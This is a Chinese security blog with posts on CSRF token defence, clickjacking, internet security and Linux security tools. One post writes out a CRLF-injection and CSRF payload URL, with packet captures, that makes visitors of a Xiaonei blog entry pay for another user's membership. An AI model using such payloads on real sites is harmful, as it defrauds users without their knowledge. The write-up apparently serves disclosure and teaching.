Wednesday, March 10, 2010

使用token防御CSRF攻击




非安全专家可以提前搜索阅读下面几类文章后再继续阅读

CSRF是什么?
解决CSRF几种手段对比


CSRF的token防御方案面临的问题:
1、专门一套的系统来维护token,代价较高
2、业务较多,而且涉及前端后端,全部推行阻力很大
解决办法:
针对第一个问题,我们的解决办法中,不采用维护一套专门的token服务这种办法。

导致CSRF的原因有两个,一个是浏览器只会根据数据提交的目标域来判断是否请求中带上身份验证信息(一般来说都是cookie),另一个是后台只判断用户的请求中的身份验证信息是否存在。
token解决办法是把用户的身份验证信息也放一部分到页面内容中,这部分信息就是大家经常说的token,一般来说,使用这个token我们要考虑的是:如何和特定用户一一对应,何时失效?,如何保护?

我们的办法是,这个token是cookie中的验证身份信息(session)的一个单向变形,token=md5(session),这样的话,session失效后,token也就失效。token和session是同一套机制,只要维护好session,token就自动维护好了。不增加专门的服务来维护。

针对第二个问题
    一般网站都有一个固定的header或者footer,在这个文件中加入一个全局的js变量,这个变量的值就是token,前端所有的需要做csrf的请求只要做个标记,提交的时候自动把这个token带上,就可以了。这样就避免了每个表单生成的时候就很繁琐的把token放到一个隐藏域里面去。

ps:一些get请求的CSRF临时防御办法(这个要和referer判断一起合作)
发起a.jsp?param=a的请求后,后台自动重新定向到a.jsp?param=a&token=value

Tags: 安全, CSRF


Tuesday, April 28, 2009

利用CRLF漏洞和CSRF漏洞同时进行web攻击

XSS 和 CSRF,其难以难以检测的特点加上和其他攻击手段的结合,给web安全防护笼罩上一层阴影。XSS 和 CSRF攻击越来越流行,也使得其他较弱的传统攻击手段浴火重生。

例子:利用CRLF和CSRF漏洞,在校内的日志中嵌入代码,利用看到页面的同学的校内豆给自己购买紫豆会员服务。(以下部分地方编码做过修改,不能直接利用。)

备注:只利用CSRF就可以完成本次利用,加入CRLF时为了说明旧漏洞在新攻击方法下的死灰复燃。

名词解释:
CRLF -- Carriage-Return Line-Feed 回车换行
HTTP Header CRLF Injection  -- HTTP使用CRLF来表示每一行的结束,用户通过CRLF注入自定义HTTP header,导致用户可以不经过应用层直接与Server对话。(HTTP header的定义就是基于这样的"Key: Value"的结构,用CRLF命令表示一行的结尾。)
CSRF --(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

漏洞:
1、http://blog.xiaonei.com/NewEntry.do日志编写时,对插入图片中对输入过滤不全,可以插入非图片地址
2、http://i.xiaonei.com/click.action后面的url参数存在CRLF漏洞
3、http://i.xiaonei.com/pay_checkXnb.action默认接受post提交的参数,但是经过测试,对get请求也来这不拒。

利用方法:

编写一篇新日志,内容中插入图片,地址填写
http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238

备注:还可以通过巧妙的构造手段,将网页重新定向导其他站点的页面。

效果:
日志访问者会自动使用自己的校内豆为id为52434238的用户购买紫豆服务。

原理:

访问者看到日志时,浏览器解析图片时会去请求http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238地址,这个地址中被插入HTTP协议字段location,将页面重新定向到紫豆支付页面,从而实现不知情的情况下为别人买单的效果。

查看日志时候抓包结果:

GET /click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1

Host: i.xiaonei.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

Accept: image/png,image/*;q=0.8,*/*;q=0.5

Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238

Cookie: ************



HTTP/1.1 302 Found

Server: nginx/0.6.32

Date: Tue, 28 Apr 2009 10:20:06 GMT

Connection: keep-alive

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Location: http://i.xiaonei.com

location: http://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238

Set-Cookie: vip=1; domain=.xiaonei.com; path=/

Set-Cookie: *****

Content-Length: 118



The URL has moved here
GET //pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1

Host: i.xiaonei.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238

Cookie: *******



HTTP/1.1 200 OK

Server: nginx/0.6.32

Date: Tue, 28 Apr 2009 10:20:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: vip=1; domain=.xiaonei.com; path=/

Content-Encoding: gzip



a

..........

3a

.V*J-..)Q.JK.)N.Q...+.(V.2.Q*H.L./J+.L.KA.O..J........;...

0



修补方式:

未提供。

Tags: 安全, web, 实践


Tuesday, April 14, 2009

安全将成为互联网业务的一个准入门槛?

账户安全、虚拟财产安全将会是未来失败互联网公司永远的痛。
两年前校内网出现XSS蠕虫病毒,爆发前我给校内的人员发过邮件,未得到重视。后来短短一天时间蠕虫感染60多万用户。这次只是技术炫耀,并无实质性的破坏。
昨天又在校内发现盗取cookies的代码,只一小时便盗取来几千用户的cookies。
前段时间有人在黑市看到某黑客在贩卖校内的全部用户数据。
一旦绑定了虚拟财产交易,不久会有一次更大规模的激增。SNS帐户体系的问题,会直接导致产品价值链的崩溃,用户粘性的直线下降。
互联网公司,如果不注意安全,究竟能走多远?

地下产业链在和前期交手的公司对抗几年后,明显成熟。后续接入对抗的相关公司,产品和业务安全人员,着实要花上很多金钱和时间,才能形成一个有效博弈的平台和团队。

相信安全将来也是互联网应用的一个准入门槛。

Tags: 安全


Tuesday, April 14, 2009

Clickjacking链接劫持的基本方法原理

Clickjacking,链接劫持,其实不只是劫持用户的链接,只要用户访问这个页面,不点击链接,也能被劫持。

劫持的基本原理是:用透明的遮罩层置于正常页面上方(用css的z-index值控制),这样使得用户无法发现这个透明的层。
用户打开一个被控制的页面,不见得都会点链接,但是很多用户看网页的时候习惯性的在空白处点,这些空白的地方完全可以被劫持,一个页面上任何地方地方都可以被放上一个透明的层引导点击或者其他用户行为,从而完成用户本不想要的操作,进而未完成攻击。。

攻击例如:
通过让用户点击一个看不到的Flash,强制启动视频,让管理员执行一些删除添加等特权操作,让普通用户执行其他恶意操作。

Tags: 安全


Thursday, October 23, 2008

Linux下系统安全网络安全工具集合

Linux下常用系统安全网络安全工具集合:(还在收集整理补充中,欢迎网友提供相关内容。)

工具名称

用途

Bastille-Linux

通用的工具集

nessus,nmap

扫描工具

logcheck,portsentry,hostsentry

日志,端口,主机反击检测

tcpdump,snort

嗅探检测

Sxid

检查系统中的suid,sgid以及没有主人的文件

skey

一次性口令工具

logrotate

日志循环工具

logcheck

日志管理工具

swatch

日志管理工具,比logcheck实时

Ssh(openssh)

提供安全的连接认证

openssl

提供加密的数据传送和认证

Portsentry

反扫描工具,监视自己的udptcp端口

tripwire

提供系统完整性检查

gnupg

对单个文件进行加密以及创建数字签名

hostsentry

基于主机的入侵检测,将连接记入日志

iptables

Linux发行版自带的包过滤形防火墙

CFS,TCFS

密码文件系统和透明的密码文件系统实现目录下所有文件加密,基于NFS

Anti-sniff

反嗅探工具,检查网络中是否有嗅探器

Freeswan

linux实现VPN的工具

Syslog-ng

替代syslog的日志文件系统

Scandns

进行DNS检查追踪的工具

Whisker

Cgi扫描器

Snoopy

通过跟踪execve系统调用记录执行的命令

Linux-kernel-patch

内核的安全补丁,防止缓冲溢出等

krnsniff

一个基于内核的监听模块

Imsafe

通过跟踪系统调用来检测缓冲溢出等问题

Iplog

对来往的包进行日志记录

Solaris-designer

内核补丁,防止缓冲溢出等

Stackguard

作为补丁修补gcc,防止缓冲溢出

DTK-Honey

port欺骗式防御

Antiroute

阻止和记录基于路由的跟踪

RkHunter

Rootkit检测工具

Tags: Linux, 安全